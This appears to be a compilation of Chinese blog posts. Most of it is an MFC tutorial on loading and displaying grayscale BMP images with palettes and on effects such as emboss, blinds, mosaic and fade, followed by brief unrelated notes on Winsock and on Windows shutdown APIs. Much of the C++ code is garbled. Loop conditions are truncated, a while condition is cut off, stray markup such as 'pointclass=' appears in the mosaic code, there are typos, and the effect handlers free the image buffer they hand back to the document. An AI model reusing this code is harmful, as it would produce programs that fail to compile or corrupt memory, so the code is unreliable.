dwDIBSize += dwBmBitsSize; //BMP文件除文件信息结构外的所有数据占用的总字节数;
lpBI->biSizeImage = dwBmBitsSize; // 位图所有像素所占的总字节数
//以下五句为文件头结构填充值
bmfHdr.bfType =0x4d42; // 文件为”BMP”类型
bmfHdr.bfSize = dwDIBSize + sizeof(BITMAPFILEHEADER);//文件总长度
bmfHdr.bfReserved1 = 0;
bmfHdr.bfReserved2 = 0;
bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + lpBI->biSize
+ 256*sizeof(RGBQUAD);
//位图数据距离文件头的偏移量;
file.Write((LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER));//向文件中写文件头信息;
file.WriteHuge(lpBI, dwDIBSize);
//将位图信息(信息头结构、颜色表、像素数据)写入文件;
::GlobalUnlock((HGLOBAL) m_hDIB);
EndWaitCursor();
SetModifiedFlag(FALSE); // 将文档设为“干净”标志,表示此后文档不需要存盘提示;
return TRUE;
}

 

 

二.调色板的操作

  通过上面的操作,我们已经可以获取图像中的数据了,现在的又一个问题是如何在窗口中显示出图像数据。灰度图像要正确显示,必须实现逻辑调色板和系统调色板。首先我们介绍一下逻辑调色板结构LOGPALETTE,该结构定义如下:

 

typedef struct tagLOGPALETTE
{
WORD palVersion;//调色板的板本号,应该指定该值为0x300;
WORD palNumEntries;//调色板中的表项数,对于灰度图像该值为256;
PALETEENTRY palPalEntry[1];//调色板中的颜色表项,由于该表项的数目不一定,所以这里数组长度定义为1,灰度图像对应的该数组的长度为256;
}LOGPALETTE;
颜色表项结构PALETTEENTRY定义了调色板中的每一个颜色表项的颜色和使用方式,定义如下:
typedef struct tagPALETTEENTRY
{
BYTE peRed; //R分量值;
BYTE peGreen; //G分量值;
BYTE peBlue; //B分量值;
BYTE peFlags; // 该颜色被使用的方式,一般情况下设为“0”;
}PALETTEENTRY;

 

  Windows系统使用调色板管理器来管理与调色板有关的操作,通常活动窗口的调色板即是当前系统调色板,所有的非活动窗口都必须按照此系统调色板来显示自己的颜色,此时调色板管理器将自动的用系统调色板中的最近似颜色来映射相应的显示颜色。如果窗口或应用程序按自己的调色板显示颜色,就必须将自己的调色板载入到系统调色板中,这种操作叫作实现调色板,实现调色板包括两个步骤,既首先将调色板选择到设备上下文中,然后在设备上下文中实现它。可以通过CDC::SelectPalette()、CDC::RealizePalette()或相应的API函数来实现上述的两个步骤。在实现调色板的过程中,通过在主框架类中处理Windows定义的消息WM_QUERYNEWPALETTE 、WM_PALETTECHANGED及视图类中处理自定义消息WM_DOREALIZE(该消息在主框架窗口定义如下:#define WM_REALIZEPAL (WM_USER+101))来实现调色板的操作。当系统需要处理调色板的变化时,将向程序的主窗口发送WM_QUERYNEWPALETTE 、WM_PALETTECHANGED,例如当某一窗口即将激活时,主框架窗口将收到WM_QUERYNEWPALETTE消息,通知该窗口将要收到输入焦点,给它一次机会实现其自身的逻辑调色板;当系统调色板改变后,主框架窗口将收到WM_PALETTECHANGED消息,通知其它窗口系统调色板已经改变,此时每一窗口都应该实现其逻辑调色板,重画客户区。


  由于上述的调色板变更消息是发往主框架窗口的,所以我们只能在主窗口中响应这两个消息,然后由主框架窗口通知各个视窗,使得程序激活时能自动装载自己的调色板。我们定义的用户消息WM_REALIZEPAL用于主框架窗口通知视窗它已经收到调色板变更消息,视窗应该协调其调色板。下面我们给出了各个消息的响应处理函数的具体实现代码和注释:

 

//////////////////////////////////////////////////////////////////////////                    
void CMainFrame::OnPaletteChanged(CWnd* pFocusWnd)                    
{//总实现活动视的调色板                                                                              
CMDIFrameWnd::OnPaletteChanged(pFocusWnd);                                 
CMDIChildWnd* pMDIChildWnd = MDIGetActive();//得到活动的子窗口指针;
if (pMDIChildWnd == NULL)                                                                      
return;                                                                                                      
CView* pView = pMDIChildWnd->GetActiveView();//得到视图的指针;
ASSERT(pView != NULL);
SendMessageToDescendants(WM_DOREALIZE, (WPARAM)pView->m_hWnd);
//通知所有子窗口系统调色板已改变
}
////////////////////////////////////////////////
BOOL CMainFrame::OnQueryNewPalette()//提供实现系统调色板的机会
{
// 实现活动视的调色板
CMDIChildWnd* pMDIChildWnd = MDIGetActive();//得到活动的子窗口指针;
if (pMDIChildWnd == NULL)
return FALSE;//no active MDI child frame (no new palette)
CView* pView = pMDIChildWnd->GetActiveView();//得到活动子窗口的视图指针;
ASSERT(pView != NULL);
//通知活动视图实现系统调色板
pView->SendMessage(WM_DOREALIZE, (WPARAM)pView->m_hWnd);
return TRUE;
}
/////////////////////////////////////////////////
BOOL CDibView::OnDoRealize(WPARAM wParam, LPARAM)//实现系统调色板
{
ASSERT(wParam != NULL);
CDibDoc* pDoc = GetDocument();
if (pDoc->m_hDIB == NULL)
return FALSE; // must be a new document
CPalette* pPal = pDoc->m_palDIB;
//调色板的颜色表数据在InitDIBData()函数中实现
if (pPal != NULL)
{
CMainFrame* pAppFrame = (CMainFrame*) AfxGetApp()->m_pMainWnd;//得到程序的主框架指针;
ASSERT_KINDOF(CMainFrame, pAppFrame);
CClientDC appDC(pAppFrame);//获取主框架的设备上下文;
CPalette* oldPalette = appDC.SelectPalette(pPal, ((HWND)wParam) != m_hWnd);
//只有活动视才可以设为”FALSE”,即根据活动视的调色板设为”前景”调色板;
if (oldPalette != NULL)
{
UINT nColorsChanged = appDC.RealizePalette();//实现系统调色板
if (nColorsChanged > 0)
pDoc->UpdateAllViews(NULL);//更新视图
appDC.SelectPalette(oldPalette, TRUE);
//将原系统调色板置为背景调色板
}
else
{
TRACE0(“\tSelectPalette failed in”);
}
return TRUE;
}

 

  注:在调用API函数显示位图时,不要忘记设置逻辑调色板,即”背景”调色板,否则位图将无法正确显示,读者可以从后面的显示部分的实现看出我们在显示时实现了逻辑调色板。上述的处理相对来说比较繁琐复杂,可能对于初学者来说也比较难于理解,所以如果我们的程序仅仅限于处理灰度图象,可以采用另外一种相对简单的办法,即在文档类的初始化阶段定义一个灰度调色板,然后在设备上下文中实现它,这样作的好处是在度取灰度位图时可以不再考虑文件中的颜色表信息,提高了文件读取速度,笔者在开发一个基于机器视觉的项目时采用的就是这种方法,取的了比较满意的效果。首先定义一个指向逻辑颜色表结构LOGPALETTE的指针pPal,填充该指针,然后将该指针与调色板指针联系起来,该方法的具体实现如下:

 

/////////////////////////////////////////////////////////
CDibDoc::CDibDoc()
{
……………………….
LOGPALETTE *Pal;
Pal=new LOGPALETTE;
m_palDIB=new Cpalette;
pPal->palVersion=0x300;
pPal->palNumEntries=256;
for(int i=0;i<256;i++)
{//每个颜色表项的R、G、B值相等,并且各个值从“0”到“255”序列展开;
Pal->palPalentry[i].peRed=i;
pPal->palPalentry[i].peGreen=i;
pPal->palPalentry[i].peBlue=i;
pPal->palPalentry[i].peFlags=0;
}
m_palDIB->CreatePalette(pPal);
…………………..
}

 

 

三.图象的显示

 显示DIB位图数据可以通过设备上下文CDC对象的成员函数CDC::Bitblt()或CDC::StretchBlt()来实现,也可以通过API函数SetDIBBitsToDevice()或StretchDIBBits()来实现,函数中具体所用到的各个参数的意义可以参考MSDN。其中StretchDIBBits()和CDC::StretchBlt()可以将图像进行放大和缩小显示。当从文档中装入位图文件时,CDIBView类的OnInitialUpdate函数将被调用,因此可以在该函数中实现对视图尺寸的设置,用于正确的显示位图,然后就可以在视图类的OnDraw()函数中正确的显示位图了。这两个函数的具体实现代码分别如下所示:

 

/////////////////////////////////////////////////////////////
void CDIBView::OnInitialUpdate()
{
CscrollView::OnInitalUpdate();
CDIBDoc *pDoc=GetDocument();
If(pDoc->m_hDIB==NULL)//如果位图数据为空,设置m_sizeDoc的默认尺寸;
pDoc->m_sizeDoc.cx=pDoc->m_sizeDoc.cy=100;
SetScrollSizes(MM_TEXT,pDoc-> m_sizeDoc);
}
/////////////////////////////////////////////////////////////
void CDIBView::OnDraw(CDC *pDC)
{
BITMAPINFOHEADER *lpDIBHdr;//位图信息头结构指针;
BYTE *lpDIBBits;//指向位图像素灰度值的指针;
BOOL bSuccess=FALSE;
CPalette*OldPal=NULL;//调色板指针;
HDC hDC=pDC->GetSafeHdc();//获取当前设备上下文的句柄;
CDIBDoc *pDoc=GetDocument();//获取活动文档的指针;
If(pDoc->m_hDIB ==NULL)
{//判断图像数据是否为空;
AfxMessageBox(“图像数据不能为空,请首先读取图像数据!”);
return;
}
lpDIBHdr=( BITMAPINFOHEADER *)GlobalLock(pDoc->m_hDIB);//得到图像的位图头信息
lpDIBBits=lpDIBHdr+sizeof(BITMAPINFOHEADER)+256*sizeof(RGBQUAD);//获取保存图像像素值的缓冲区的指针;
if(pDoc-> m_palDIB)
{//如果存在调色板信息,实现逻辑调色板;
OldPal=pDC-> SelectPalette(pDoc-> m_palDIB,TRUE);
PDC->RealizePalette();
}
else
{
AfxMessageBox(“图像的调色板数据不能为空,请首先读取调色板信息!”);
return ;
}
SetStretchBltMode(hDC,COLORONCOLOR);
//显示图像
BSuccess=StretchDIBBits(hDC,0,0,pDoc-> m_sizeDoc.cx, pDoc-> m_sizeDoc.cy,
0, pDoc-> m_sizeDoc.cy,0, pDoc-> m_sizeDoc.cy,
lpDIBBits,(LPBITMAPINFO)lpDIBHdr,
DIB_RGB_COLORS,
SRCCOPY);
GlobalUnlock(pDoc->m_hDIB);
If(OldPal)//恢复调色板;
PDC->SelectPalette(OldPal,FALSE);
retrun;
}

 

BMP图像显示的特效操作

 

在上面的学习基础上,我们可以进一步深化,学习并掌握图像特效显示技术。有了这种技术,可以用来在今后的项目开发中美化我们的软件界面,提高软件的视觉效果。在如今的商业软件中,几乎每一幅图像的显示都采用了图像特效显示,例如读者比较熟悉的Windows的屏幕保护程序就采用了各种各样的图像特效显示,使人感到眼花缭乱和耳目一新。专业图像处理软件更是提供了丰富的显示方式供用户使用,可以方便的在程序中实现图像的特效显示,如PhotoShop 、Authorware等。本节主要介绍如何实现图像的浮雕、雕刻、百页窗、旋转、扫描、栅条、马赛克、和渐显渐隐显示等效果。通过这期讲座的学习,读者朋友们也可以自己动手制作拥有特效显示效果的软件了。

 

  图像的显示我们讲过主要有BitBlt()、SetDIBitsToDevice()和StretchDIBits()等函数。需要读者注意的是,在特效显示时,并不是每个显示函数都适宜,BitBlt()函数主要是用来显示设备无关位图(DDB),后两个函数用来显示设备无关位图(DIB)。由于我们讲座里处理的是设备无关位图,所以我们主要关心的是后两个函数的应用,其中SetDIBitsToDevice()使用起来较死板,远不如StretchDIBits()用的灵活,并且对大多数的特效显示无能为力,所以为了实现图像的特效显示效果,需要使用StretchDIBits()函数来显示图像,具体什么原因,我想可能是微软在实现这些函数时使用的方法不同吧。这些函数如何使用,各个参数的含义,可以参考微软的MSDN。

 

  实现图像的特殊效果的显示的基本思路是要么是操作图像的像素,要么是对图像分块按一定的方向或次序,分阶段的显示或擦除对应的图像块。对于第二种显示的思路,其中的要点是:1.划分图像块;2.确定图像块的操作次序;3.显示或清除对应的图像块;4.在两个连续显示的图像块之间插入一个固定的延迟。其中图像块的划分决定了图像的显示方式,图像块的显示顺序决定了显示的方向和细分的依据。不同的效果决定了不同的分块方法和显示次序,我们将在后面的各种特效显示中介绍如何分块和决定次序。为了使图像的显示过程明显的表现出来,实现显示的特效,就需要在图像块的依此显示中插入固定的延迟。也许读者朋友会想到利用sleep()函数或用Settime()来实现延迟,由于Windows是个基于消息的多任务操作系统,这些方法所产生的延迟时间对于图像的显示来说是不精确的,为了实现与机器无关的更精确的时间延迟,可以采用timeGetTime()函数来产生微秒级的延迟。使用这个函数时为了编译不产生错误,要在连接设置中引入“Winmm.lib”库,并要包含头文件“Mmsystem.h”。这里我们首先给出一个延迟函数,它用来实现固定时间的延迟:

 

 

void DelayTime(DWORD time)
{
DWORD BeginTime ,EndTime;
BeginTime=timeGetTime();//得到当前的系统时间、单位为微秒;
do
{
EndTime=TimeGetTime();//再次得到当前的系统时间;
}
while((EndTime-BeginTime)

}

 

一.操作位图的像素实现显示的特效

1.”浮雕”图象

  我们首先介绍直接操作图像中的像素的灰度值来实现图像显示的特效、这里我们主要介绍如何实现图像的浮雕和雕刻效果。经常看电视的朋友们不知注意到没有,有些电视连续剧在每集片头或片尾部分都有显示一些特殊效果的图像,比如以前阵子中央一套放的《康熙王朝》(现在8套也在放),这些特效称为”图像的浮雕效果”和”图像的雕刻效果”,经过这些特效处理后的图像增强了观众们的视觉效果,它们看上去仿佛是使用3D技术作的,这也许就是为什么这种技术那么流行的原因吧。其实,我们完全可以用一些简单的数字图像处理算法来实现这些看似复杂高深的显示效果。下面以一个标准的Lena灰度图像为原图,给出了处理后的效果图,同时给出了VC开发平台上的部分实现源代码。

 

 

void CDibView::OnFDImage() //产生”浮雕”效果图函数
{
 HANDLE data1handle;//用来存放图像数据的句柄
 LPBITMAPINFOHEADER lpBi;//图像的信息头结构
 CDibDoc *pDoc=GetDocument();//得到文挡指针
 HDIB hdib;//用来存放图像数据的句柄;
 unsigned char *pData;//指向原始图像数据的指针
 unsigned char *data;//指向处理后图像数据的指针
 hdib=pDoc->m_hDIB;//拷贝存放已经读取的图像文件数据句柄
 lpBi=(LPBITMAPINFOHEADER)GlobalLock((HGLOBAL)hdib);//获取图像信息头
pData=(unsigned char*)FindDIBBits((LPSTR)lpBi);
//FindDIBBits是我定义的一个函数、根据图像的结构得到位图的灰度值数据、
pDoc->SetModifiedFlag(TRUE);
//设置文档修改标志为“真”、为后续的修改存盘作准备
data1handle=GlobalAlloc(GMEM_SHARE,WIDTHBYTES(lpBi->biWidth*8)*lpBi->biHeight); //声明一个缓冲区用来暂存处理后的图像数据
data=(unsigned char*)GlobalLock((HGLOBAL)data1handle);//得到该缓冲区的指针;
AfxGetApp()->BeginWaitCursor();
int i,j,buf;
for( i=lpBi->biHeight; i>=2; i–)//从图像右下角开始对图像的各个像素进行“浮雕”处理;
  for( j=lpBi->biWidth; j>=2; j–)
  {
//浮雕处理
buf=*(pData+(lpBi->biHeight-i)*WIDTHBYTES(lpBi->biWidth*8)+j)-*(pData+(lpBi->biHeight-i+1)*WIDTHBYTES(lpBi->biWidth*8)+j-1)+128;
if(buf>255) buf=255;
if(buf<0)buf=0; *(data+(lpBi->biHeight-i)*WIDTHBYTES(lpBi->biWidth*8)+j)=(BYTE)buf;
}
for( j=0; jbiHeight; j++)
for( i=0; ibiWidth; i++)
//重新写回原始图像的数据缓冲区;
*(pData+i*WIDTHBYTES(lpBi->biWidth*8)+j)=*(data+i*WIDTHBYTES(lpBi->biWidth*8)+j);    AfxGetApp()->EndWaitCursor();
pDoc->m_hDIB =hdib//将处理过的图像数据写回pDoc中的图像缓冲区;
GlobalUnlock((HGLOBAL)hdib);//解锁、释放缓冲区;
GlobalUnlock((HGLOBAL)data1handle);
GlobalFree((HGLOBAL)hdib);
GlobalFree((HGLOBAL)data1handle);
Invalidate(TRUE);//显示图像
}

 


2.”雕刻”图像

  上面讲述了通过求一个像素和它左上方像素之间的差值并加上一个常数的方法生成”浮雕”效果的灰度图像,”雕刻”图像与之相反,它是通过取一个像素和它右下方的像素之间的差值并加上一个常数,这里我也取128,经过这样处理,就可以得到”雕刻”图像,这时候图像的前景凹陷进背景之中。同样需要读者注意的是为了避免重复使用处理过的图像像素,处理图像时要从图像的左上方的像素开始处理。实现代码如下:

 

 

void CDibView::OnDKImage()
{
 // TODO: Add your command handler code here
 HANDLE data1handle;//这里的内部变量与前面的含义一致、这里不再赘述;
 LPBITMAPINFOHEADER lpBi;
 CDibDoc *pDoc=GetDocument();
 HDIB hdib;
 unsigned char *pData;
 unsigned char *data;
 hdib=pDoc->m_hDIB;//拷贝图像数据的句柄;
 lpBi=(LPBITMAPINFOHEADER)GlobalLock((HGLOBAL)hdib);
 pData=(unsigned char*)FindDIBBits((LPSTR)lpBi);
 pDoc->SetModifiedFlag(TRUE);
 data1handle=GlobalAlloc(GMEM_SHARE,WIDTHBYTES(lpBi->biWidth*8)*lpBi->biHeight);//申请缓冲区;
 data=(unsigned char*)GlobalLock((HGLOBAL)data1handle);//得到新的缓冲去的指针; AfxGetApp()->BeginWaitCursor();
 int i,j,buf;
 for( i=0;i<=lpBi->biHeight-2; i++)//对图像的各个像素循环进行”雕刻”处理;
  for( j=0;j<=lpBi->biWidth-2; j++)
 {
   buf=*(pData+(lpBi->biHeight-i)*WIDTHBYTES(lpBi->biWidth*8)+j)-*(pData+(lpBi->biHeight-i-1)*WIDTHBYTES(lpBi->biWidth*8)+j+1)+128;//“雕刻”处理;
 if(buf>255) buf=255;
 if(buf<0)buf=0;
 *(data+(lpBi->biHeight-i)*WIDTHBYTES(lpBi->biWidth*8)+j)=(BYTE)buf;
 }
 for( j=0; jbiHeight; j++)
  for( i=0; ibiWidth; i++)  //重新将处理后的图像数据写入原始的图像缓冲区内;  *(pData+i*WIDTHBYTES(lpBi->biWidth*8)+j)=*(data+i*WIDTHBYTES(lpBi->biWidth*8)+j);
pDoc->m_hDIB =hdib//将处理过的图像数据写回pDoc中的图像缓冲区;
GlobalUnlock((HGLOBAL)hdib);//解锁、释放缓冲区;
GlobalUnlock((HGLOBAL)data1handle);
GlobalFree((HGLOBAL)hdib);
GlobalFree((HGLOBAL)data1handle);
Invalidate(TRUE);//显示图像
}

 

 

3.图像的旋转


  根据图像像素的位置来调节该位置的灰度可以实现许多显示的特效,例如图像的镜像、翻转等。灰度图像旋转就是根据这一个思想实现的,它是指把定义的图像绕某一点以逆时针或顺时针方向旋转一定的角度,通常是指绕图像的中心以逆时针方向旋转。首先根据旋转的角度、图像对角线的长度计算旋转后的图像的最大宽度、高度,根据旋转后图象最大的宽度、高度生成新的缓冲区,假设图像的左上角为(left, top),右下角为(right, bottom),则图像上任意点(x, y)绕其中心(xcenter, ycenter)逆时针旋转angle角度后,新的坐标位置(x1, y1)的计算公式为:

  

    xcenter = (width+1)/2+left;
  ycenter = (height+1)/2+top;
  x1 = (x-xcenter) cosθ – (y – ycenter) sinθ+xcenter;
  y1 = (x-xcenter) sinθ+ (y- ycenter) cosθ+ ycenter;

 

 与图像的镜像变换相类似,下一步就是把原图中的(x,y)处象素的灰度值读入新缓冲区的(x1,y1)点处。注意在新缓冲区中与原图没有对应的象素点的值用白色或指定的灰度代替。

 

二.图像的分块显示和清除

 

1. 图像的扫描显示和清除

 

  扫描显示图像是最基本的特效显示方法,它表现为图像一行行(或一列列)地显示出来或从屏幕上清除掉,有种大戏院种的拉幕效果。根据扫描的方向的不同,可以分为上、下、左、右、水平平分和垂直平分等六种扫描。这里以向下移动为例,分别介绍显示和清除的实现。其余的扫描效果可以依次类推。向下扫描显示的实现方法是:从图像的底部开始将图像一行一行的复制到目标区域的顶部。每复制一行后,复制的行数便要增加一行,并加上一些延迟;向下移动清除的实现方法是图像向下移动显示,并在显示区域的上部画不断增高的矩形。

 

 1)扫描显示的代码:

 

CdibView::OnImageDownScan()
{
CDibDoc *pDoc=GetDocument();
HDIB hdib;
CClientDC pDC(this);
hdib=pDoc->m_hDIB;//获取图像数据句柄;
BITMAPINFOHEADER *lpDIBHdr;//位图信息头结构指针;
BYTE *lpDIBBits;//指向位图像素灰度值的指针;
HDC hDC=pDC.GetSafeHdc();//获取当前设备上下文的句柄;
lpDIBHdr=( BITMAPINFOHEADER *)GlobalLock(hdib);//得到图像的位图头信息;
lpDIBBits=(BYTE*)lpDIBHdr+sizeof(BITMAPINFOHEADER)+256*sizeof(RGBQUAD);//获取指向图像像素值;
SetStretchBltMode(hDC,COLORONCOLOR);
//显示图像;
for(int i=0;ibiHeight;i++)
{ //每次循环显示图象的“0”到“i”行数据;
SetDIBitsToDevice (hDC,0,0,lpDIBHdr->biWidth, lpDIBHdr->biHeight,
0, 0,0, i,
lpDIBBits,(LPBITMAPINFO)lpDIBHdr,
DIB_RGB_COLORS
);
DelayTime(50);//延迟;
}
GlobalUnlock(hdib);
return;
}

 


2)清除代码:


…………………………………//由于篇幅的限制,省略了与上面的相同代码
Cbrush brush(crWhite);//定义一个“白色”的刷子;
Cbrush *oldbrush=pDC->SelectObject(&brush);
for(int i=0;i < lpDIBHdr->biHeight ;i++)
{//每次循环将目标区域中的“0”到“i”行刷成“白色”;
pDC->Rectangle(0,0,lpDIBHdr->biWidth,lpDIBHdr->biHeight);
DelayTime(50);
}
…………………………………

 

2. 百页窗效果

 

  所谓百页窗显示效果,就如同关闭和开启百页窗一样,图像被分为一条条或一列列地分别显示或清除掉,根据显示时以行或列为单位可以将该效果分为垂直或水平两种方式。以垂直百页窗为例来说明如何实现这种特效显示。实现垂直百页窗显示时,需要将图像垂直等分为n部分由上向下扫描显示,其中每一部分包括m个条、这个n可以根据具体应用时的需要来决定、m既为图像的高度除n。扫描显示时,依照差值进行扫描显示,即第k次显示k-1、k*m-1、…k*n-1条扫描线。同样,垂直百页窗清除的实现与垂直百页窗的显示相似,不同的是将绘制位图换成画矩形而已。在下面的例子中,我将图像的分成8份。

 

…………………………………
int m=8;
int n=lpDIBHdr->biHeight/m;//图像的高度能够整除8;
for(int l=1;l<=m;l++)
for(int k=0;k{ //每次循环依次显示图像中的k-1、k*m-1、…k*n-1行;
StretchDIBits (hDC,0,4*k+l-1,lpDIBHdr->biWidth,1,
0, lpDIBHdr->biHeight-4*k-l+1,lpDIBHdr->biWidth,1,
lpDIBBits,(LPBITMAPINFO)lpDIBHdr,
DIB_RGB_COLORS,
SRCCOPY);//juanlianxiaoguo
DelayTime(50);
}
…………………………………

 

3.栅条显示特效

 

  栅条特效是移动特效的复杂组合,可以分为垂直栅条和水平栅条两类。它的基本思想是将图像分为垂直或水平的的小条,奇数条向上或向左显示/清除,偶数条向下或向右显示/清除。当然也可以规定进行相反的方向显示/清除。下面的代码是实现垂直栅条的例子:

 

…………………………………
int m=8;
for(int i=0;i<=lpDIBHdr->biHeight;i++)
for(int j=0;j<=lpDIBHdr->biWidth;j+=m)
{//向下显示偶数条;
StretchDIBits (hDC,j,0,m,i,j,lpDIBHdr->biHeight-i,
m,i,
lpDIBBits,(LPBITMAPINFO)lpDIBHdr,
DIB_RGB_COLORS,
SRCCOPY);//juanlianxiaoguo
j=j+m;
//向上显示奇数条;
StretchDIBits (hDC,j,lpDIBHdr->biHeight-i,m,i,j,0,
m,i,
lpDIBBits,(LPBITMAPINFO)lpDIBHdr,
DIB_RGB_COLORS,
SRCCOPY);//
DelayTime(20);
}…………………………………

 

4.马赛克效果

 

  马赛克显示是指图像被分成许多的小块,它们以随机的次序显示出来,直到图像显示完毕。实现马赛克的效果主要解决的问题是如何定义显示随机序列的小方块,这个问题的解决可以在定义过小方块的基础上,用一个数组来记录各个方块的左上角的坐标的位置。显示图像过程中,产生一个随机数来挑选即将显示的小方块,显示后将该方块的位置坐标从数组中剔除。清除过程与之相仿。剔除显示过的方块的位置坐标的方法是将该数组中的最后的一个点的坐标拷贝到当前位置,然后删除数组中的最后点的坐标,经过实现发现这样处理有时显示的图像是不完整的,分析其原因是生成随机数的过程有舍入溢出误差。读者可以采用其它的办法解决这个问题,例如可以生成固定的随机数组或采用一个动态的数组来跟踪未显示的图像方块的坐标等方法。

 

…………………………………
int m,n;
int RectSize=60;//方块的宽、高尺寸为60个像素;
if(lpDIBHdr->biWidth%RectSize!=0)//得到图像水平方块的个数;
m= lpDIBHdr->biWidth/RectSize+1;
else
m= lpDIBHdr->biWidth/RectSize;
if(lpDIBHdr->biHeight%RectSize!=0)//得到图像垂直方块的个数;
n= lpDIBHdr->biHeight/RectSize+1;
else
n=lpDIBHdr->biHeight/RectSize;
POINT *point=new POINT[n*m];//申请一个数组用来记录各个方块的左上角的坐标;
POINT point1;
for(int a=0;afor(int b=0;b{
point1.x=a*RectSize;
point1.y=b*RectSize;
*(point+a*b+b)=point1;
}
//开始随机的显示各个小方块;
double fMax=RAND_MAX;//定义Rand()函数的最大值;
for(int k=m*n-1;k>=0;k–)
{
int c=(int)((double)(m*n)*rand()/fMax);
int mx=pointclass=”lang:c decode:true “.x;
int my=pointclass=”lang:c decode:true “.y;
//显示对应的图像的小块;
StretchDIBits (hDC,mx,my,RectSize,RectSize,
mx,lpDIBHdr->biHeight-my,RectSize,RectSize,
lpDIBBits,(LPBITMAPINFO)lpDIBHdr,
DIB_RGB_COLORS,
SRCCOPY);
pointclass=”lang:c decode:true “.x=point[k].x;
pointclass=”lang:c decode:true “.y=point[k].y;
DelayTime(50);
}
…………………………………

 

5.图像的淡入淡出效果

 

 图像的淡入淡出的显示效果被广泛的应用在多媒体娱乐软件中,是一种特别重要的特效显示方法。淡入就是将显示图像的目标区域由本色逐渐过度的图像中的各个像素点的颜色;淡出就是由显示的图像逐渐过度到目标区域的本色。实现图像的淡入淡出有两种办法:一是均匀的改变图像的调色板中的颜色索引值;另一种方法是改变图像像素的灰度值。第一种方法实现起来比较繁琐,第二种方法就比较简单。下面是我们采用第二种方法实现图像淡入效果的代码:

 

…………………………………
//申请一个与图像缓冲区相同大小的内存;
hdibcopy=(HDIB)GlobalAlloc(GMEM_SHARE,lpDIBHdr->biWidth*lpDIBHdr->biHeight);
lpbits=(BYTE*)GlobalLock(hdibcopy);
//将缓冲区的数据初始化;
for(int k=0;kbiWidth*lpDIBHdr->biHeight;k++)
{
*(lpbits+k)=(BYTE)255;
}
//显示最初的图像为“白色”
StretchDIBits (hDC,0,0,lpDIBHdr->biWidth,lpDIBHdr->biHeight,0,0,
lpDIBHdr->biWidth,lpDIBHdr->biHeight,
lpbits,(LPBITMAPINFO)lpDIBHdr,
DIB_RGB_COLORS,
SRCCOPY);
//布尔变量end用来标志何时淡入处理结束;
BOOL end=false;
while(!end)
{ int a=0;
for(int k=0;kbiWidth*lpDIBHdr->biHeight;k++)
{
//判断是否待显示的像素的灰度值已经小于原始图像对应点的灰度值,如是则计数;
if(*(lpbits+k)<*(lpDIBBits+k))
a++;
else//否则对应点的灰度值继续减少;
*(lpbits+k)-=(BYTE)10;
}
//显示处理后的图像数据lpbits;
StretchDIBits (hDC,0,0,lpDIBHdr->biWidth,lpDIBHdr->biHeight,0,0,
lpDIBHdr->biWidth,lpDIBHdr->biHeight,
lpbits,(LPBITMAPINFO)lpDIBHdr,
DIB_RGB_COLORS,
SRCCOPY);
//如果所有的点的灰度值的都小于或等于原始图像的像素点的灰度值,则认为图像的淡入处理结束。
if(a==lpDIBHdr->biWidth*lpDIBHdr->biHeight)
end=true; DelayTime(50);
…………………………………


具体可以看看VC自带的例子diblook 很不错的


 




Modified At 2008-04-17 13:19:23

关于WINSOCK编程中需要注意的一点

    由于WINDOWS默认的通信模式为阻塞模式,所以在日后的编程中尽量采用多线程的方法,自己现在对非阻塞模式了解得不多,但我认为多线程应该是一种比较理想的方法,特别是在服务端的while循环中等待接收信息的时候,分线程来处理,防止进程停滞。

远程控制编程技术–关机操作的实现

二、关机操作的实现:
BOOL ExitWindowsEx(
  UINT uFlags,       // shutdown operation
  DWORD dwReserved   // reserved
);
(The ExitWindowsEx function either logs off the current user, shuts down the system, or shuts down and restarts the system. It sends the WM_QUERYENDSESSION message to all applications to determine if they can be terminated.)参数说明详见MSDN

 

 

DWORD GetVersion(VOID);
(The GetVersion function returns the current version number of the operating system. If the function succeeds, the return value is a DWORD value that contains the major and minor version numbers of the operating system in the low order word, and information about the operating system platform in the high order word.)
This function has been superseded by GetVersionEx, which is the preferred method for obtaining system version number information.

 

 

BOOL GetVersionEx(
  LPOSVERSIONINFO lpVersionInformation  //pointer to version information structure
);
lpVersionInformation
Pointer to an OSVERSIONINFO data structure that the function fills with operating system version information.
Before calling the GetVersionEx function, set the dwOSVersionInfoSize member of the OSVERSIONINFO data structure to sizeof(OSVERSIONINFO).

 

 

typedef struct _OSVERSIONINFO{
    DWORD dwOSVersionInfoSize;
    DWORD dwMajorVersion;
    DWORD dwMinorVersion;
    DWORD dwBuildNumber;
    DWORD dwPlatformId;
    TCHAR szCSDVersion[ 128 ];
} OSVERSIONINFO;

 


BOOL OpenProcessToken(
  HANDLE ProcessHandle,   // handle to process要修改访问权限的进程句柄
  DWORD DesiredAccess,   // desired access to process指定你要进行的操作类型
  PHANDLE TokenHandle   // pointer to handle of open access token返回访问令牌指针
);
(The OpenProcessToken function opens the access token associated with a process. 获得进程访问令牌的句柄)

 

 

HANDLE GetCurrentProcess(VOID);
(The GetCurrentProcess function returns a pseudohandle for the current process.)

 

 

BOOL AdjustTokenPrivileges(
  HANDLE TokenHandle,  // handle to token that contains privileges
  BOOL DisableAllPrivileges, // flag for disabling all privileges
  PTOKEN_PRIVILEGES NewState, // pointer to new privilege information
  DWORD BufferLength,  // size, in bytes, of the PreviousState buffer
  PTOKEN_PRIVILEGES PreviousState, // receives original state of changed privileges
  PDWORD ReturnLength  // receives required size of the PreviousState buffer
);
对获得的进程访问令牌权限进行修改。
第一个参数是访问令牌的句柄;第二个参数决定是进行权限修改还是除能(Disable)所有权限;第三个参数指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数据组的每个项指明了权限的类型和要进行的操作; 第四个参数是结构PreviousState的长度,如果PreviousState为空,该参数应为NULL;第五个参数也是一个指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息,可空;最后一个参数为实际PreviousState结构返回的大小。

 

 

typedef struct _TOKEN_PRIVILEGES { // tp
    DWORD PrivilegeCount;
    LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES;

 

 

typedef struct _LUID_AND_ATTRIBUTES { // luaa
    LUID   Luid;
    DWORD  Attributes;
} LUID_AND_ATTRIBUTES;
第二个参数就指明了我们要进行的操作类型,有三个可选项: SE_PRIVILEGE_ENABLED、SE_PRIVILEGE_ENABLED_BY_DEFAULT、SE_PRIVILEGE_USED_FOR_ACCESS。要使能一个权限就指定Attributes为SE_PRIVILEGE_ENABLED。第一个参数就是指权限的类型,是一个LUID的值可通过另外一个API函数LookupPrivilegevalue得到。

 

 

